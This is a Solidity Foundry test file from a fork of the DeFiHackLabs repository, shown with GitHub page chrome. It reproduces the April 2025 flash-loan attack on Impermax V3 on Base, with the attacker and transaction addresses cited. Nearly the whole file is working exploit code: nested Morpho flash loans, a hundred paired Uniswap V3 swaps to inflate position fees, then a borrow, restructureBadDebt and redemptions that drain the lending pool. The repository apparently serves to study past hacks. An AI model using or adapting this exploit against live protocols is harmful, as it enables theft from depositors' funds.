forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathImpermaxV3_exp.sol
More file actions
258 lines (225 loc) · 10.3 KB
/
ImpermaxV3_exp.sol
File metadata and controls
258 lines (225 loc) · 10.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../interface.sol";
// @KeyInfo - Total Lost : ~300k
// 26th April, 2025, at 10:43 UTC
// Attacker : https://basescan.org/address/0xe3223f7e3343c2c8079f261d59ee1e513086c7c3
// Attack Contract : https://basescan.org/address/0x98e938899902217465f17cf0b76d12b3dca8ce1b
// Vulnerable Contract : https://basescan.org/address/0x5d93f216f17c225a8b5ffa34e74b7133436281ee
// Attack Tx : https://basescan.org/tx/0xde903046b5cdf27a5391b771f41e645e9cc670b649f7b87b1524fc4076f45983
// block: 29437439
// @Info
// Vulnerable Contract Code : https://basescan.org/address/0x5d93f216f17c225a8b5ffa34e74b7133436281ee#code
// https://medium.com/@quillaudits/how-impermax-v3-lost-300k-in-a-flashloan-attack-35b02d0cf152
address constant ImpermaxV3Borrowable = 0x5d93f216f17c225a8B5fFA34e74B7133436281eE;
address constant Morpho = 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb;
address constant WETH_address = 0x4200000000000000000000000000000000000006;
address constant USDC_address = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
address constant ImpermaxV3Collateral = 0xc1D49fa32d150B31C4a5bf1Cbf23Cf7Ac99eaF7d;
address constant TokenizedUniswapV3Position = 0xa68F6075ae62eBD514d1600cb5035fa0E2210ef8;
address constant UniV3pool_200 = 0x1C450D7d1FD98A0b04E30deCFc83497b33A4F608;
address constant UniV3pool_500 = 0xd0b53D9277642d899DF5C87A3966A349A798F224;
contract ImpermaxV3_exp is Test {
uint256 public borrowUSDC_amount = 22539727986604;
uint256 public borrowWETH_amount = 10544813644832897955984;
function setUp() public {
vm.createSelectFork("base", 29437439 - 1);
IFS(WETH_address).approve(Morpho, 10544813644832897955984);
}
function testExploit() public {
IFS(Morpho).flashLoan(WETH_address, borrowWETH_amount, abi.encodePacked(uint256(1)));
console2.log("WETH balance: ", IFS(WETH_address).balanceOf(address(this)));
console2.log("USDC balance: ", IFS(USDC_address).balanceOf(address(this)));
}
bool private inFlashLoan;
function onMorphoFlashLoan(uint256, bytes memory) external {
if (!inFlashLoan) {
// after borrowing WETH, we continue to borrow USDC.
inFlashLoan = true;
IFS(USDC_address).approve(Morpho, borrowUSDC_amount);
IFS(Morpho).flashLoan(USDC_address, borrowUSDC_amount, abi.encodePacked(uint256(1)));
}else{
// following this USDC swap, the uniswapV3 will invoke uniswapV3SwapCallback to transfer USDC.
uint160 falsesqrtPriceLimitX96 = 1461446703485210103287273052203988822378723970341;
Uni_Pair_V3(UniV3pool_200).swap(
address(this),
false,
1000000000,
falsesqrtPriceLimitX96,
abi.encodePacked(uint256(1))
);
IFS(UniV3pool_200).mint(TokenizedUniswapV3Position, -196216, -102028, 3315194000212825, abi.encodePacked(uint256(1)));
uint256 newtoken_id = ITokenizedUniswapV3Position(TokenizedUniswapV3Position).mint(address(this), 200, -196216, -102028);
ITokenizedUniswapV3Position(TokenizedUniswapV3Position).transferFrom(address(this), ImpermaxV3Collateral, newtoken_id);
IimpermaxV3Collateral(ImpermaxV3Collateral).mint(address(this), newtoken_id);
// start to swap to get fee from pool's transaction.
uint160 truesqrtPriceLimitX96 = 4295128740;
Uni_Pair_V3(UniV3pool_200).swap(
address(this),
true,
-400000000000,
truesqrtPriceLimitX96,
abi.encodePacked(uint256(1))
);
Uni_Pair_V3(UniV3pool_200).swap(
address(this),
false,
400080026003,
falsesqrtPriceLimitX96,
abi.encodePacked(uint256(1))
);
ITokenizedUniswapV3Position(TokenizedUniswapV3Position).reinvest(newtoken_id, address(this));
// // go on to swap for 50 times
int256 trueamountSpecified = -19400000000000;
int256 falseamountSpecified = 19403880776155;
for (uint256 i = 0; i < 100; i++) {
Uni_Pair_V3(UniV3pool_200).swap(
address(this),
true,
trueamountSpecified,
truesqrtPriceLimitX96,
abi.encodePacked(uint256(1))
);
Uni_Pair_V3(UniV3pool_200).swap(
address(this),
false,
falseamountSpecified,
falsesqrtPriceLimitX96,
abi.encodePacked(uint256(1))
);
}
// one more time swap for 100000.
Uni_Pair_V3(UniV3pool_200).swap(
address(this),
false,
100000,
falsesqrtPriceLimitX96,
abi.encodePacked(uint256(1))
);
uint256 safetyMarginSqrt = 1183215960000000000;
ITokenizedUniswapV3Position(TokenizedUniswapV3Position).getPositionData(newtoken_id, safetyMarginSqrt);
uint256 wad = 166988030575033714385;
IFS(WETH_address).transfer(ImpermaxV3Borrowable, wad);
IFS(ImpermaxV3Borrowable).mint(address(this));
uint256 borrowAmount = IFS(WETH_address).balanceOf(ImpermaxV3Borrowable);
IFS(ImpermaxV3Borrowable).borrow(255, address(this), borrowAmount, "");
// line 2439
ITokenizedUniswapV3Position(TokenizedUniswapV3Position).reinvest(newtoken_id, address(this));
IimpermaxV3Collateral(ImpermaxV3Collateral).restructureBadDebt(255);
uint256 currentBorrowBalance = IFS(ImpermaxV3Borrowable).currentBorrowBalance(newtoken_id);
IFS(WETH_address).transfer(ImpermaxV3Borrowable, currentBorrowBalance);
IFS(ImpermaxV3Borrowable).borrow(newtoken_id, address(this), 0, "");
IimpermaxV3Collateral(ImpermaxV3Collateral).redeem(address(this), newtoken_id, 1000000000000000000);
ITokenizedUniswapV3Position(TokenizedUniswapV3Position).redeem(address(this), newtoken_id);
// line 2553
Uni_Pair_V3(UniV3pool_200).swap(
address(this),
true,
14260200223938238,
truesqrtPriceLimitX96,
abi.encodePacked(uint256(1))
);
// uint256 _exchangeRate = IFS(ImpermaxV3Borrowable).exchangeRate();
uint256 temp_amount = 120924566533707506470;
IFS(ImpermaxV3Borrowable).transfer(ImpermaxV3Borrowable, temp_amount);
uint256 redeemAmount = IFS(ImpermaxV3Borrowable).redeem(address(this));
console2.log("redeemAmount: ", redeemAmount);
// line 2581
Uni_Pair_V3(UniV3pool_500).swap(
address(this),
true,
-19760825,
truesqrtPriceLimitX96,
abi.encodePacked(uint256(1))
);
console2.log("Current USDC balance: ", IFS(USDC_address).balanceOf(address(this)));
}
}
function onERC721Received(
address,
address,
uint256,
bytes memory
) external returns (bytes4) {
return this.onERC721Received.selector;
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata
) external {
require(
msg.sender == UniV3pool_200 || msg.sender == UniV3pool_500,
"Invalid pool caller"
);
if (amount0Delta > 0) {
IFS(WETH_address).transfer(msg.sender, uint256(amount0Delta));
} else {
IFS(USDC_address).transfer(msg.sender, uint256(amount1Delta));
}
}
function uniswapV3MintCallback(
uint256 amount0,
uint256 amount1,
bytes calldata
) external {
IFS(WETH_address).transfer(UniV3pool_200, amount0);
IFS(USDC_address).transfer(UniV3pool_200, amount1);
}
}
interface IFS is IERC20 {
// function in Morpho
function flashLoan(
address token,
uint256 assets,
bytes calldata data
) external;
// function in 0x1c45_UniswapV3Pool
function mint(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount,
bytes calldata data
) external returns (uint256 amount0, uint256 amount1);
// function in ImpermaxV3Borrowable
function totalBorrows() external view returns (uint);
function debtCeiling() external view returns (uint256);
function mint(address minter) external returns (uint mintTokens);
function borrow(uint256 tokenId, address receiver, uint borrowAmount, bytes calldata data) external;
function currentBorrowBalance(uint tokenId) external returns (uint);
function exchangeRate() external returns (uint);
function redeem(address redeemer) external returns (uint redeemAmount);
}
interface IimpermaxV3Collateral {
// function in ImpermaxV3Collateral
function restructureBadDebt(uint tokenId) external;
function redeem(address to, uint256 tokenId, uint256 percentage) external returns (uint redeemTokenId);
function mint(address to, uint256 tokenId) external;
}
interface INFTLP {
struct RealXY {
uint256 realX;
uint256 realY;
}
struct RealXYs {
RealXY lowestPrice;
RealXY currentPrice;
RealXY highestPrice;
}
}
interface ITokenizedUniswapV3Position {
function getPool(uint24 fee) external view returns (address pool);
function mint(address to, uint24 fee, int24 tickLower, int24 tickUpper) external returns (uint256 newTokenId);
function reinvest(uint256 tokenId, address bountyTo) external returns (uint256 bounty0, uint256 bounty1);
function ownerOf(uint256 _tokenId) external view returns (address);
function getApproved(uint256 tokenId) external view returns (address operator);
function isApprovedForAll(address owner, address operator) external view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) external;
function getPositionData(uint256 _tokenId, uint256 _safetyMarginSqrt) external returns (
uint256 priceSqrtX96,
INFTLP.RealXYs memory realXYs
);
function redeem(address to, uint256 tokenId) external returns (uint256 amount0, uint256 amount1);
}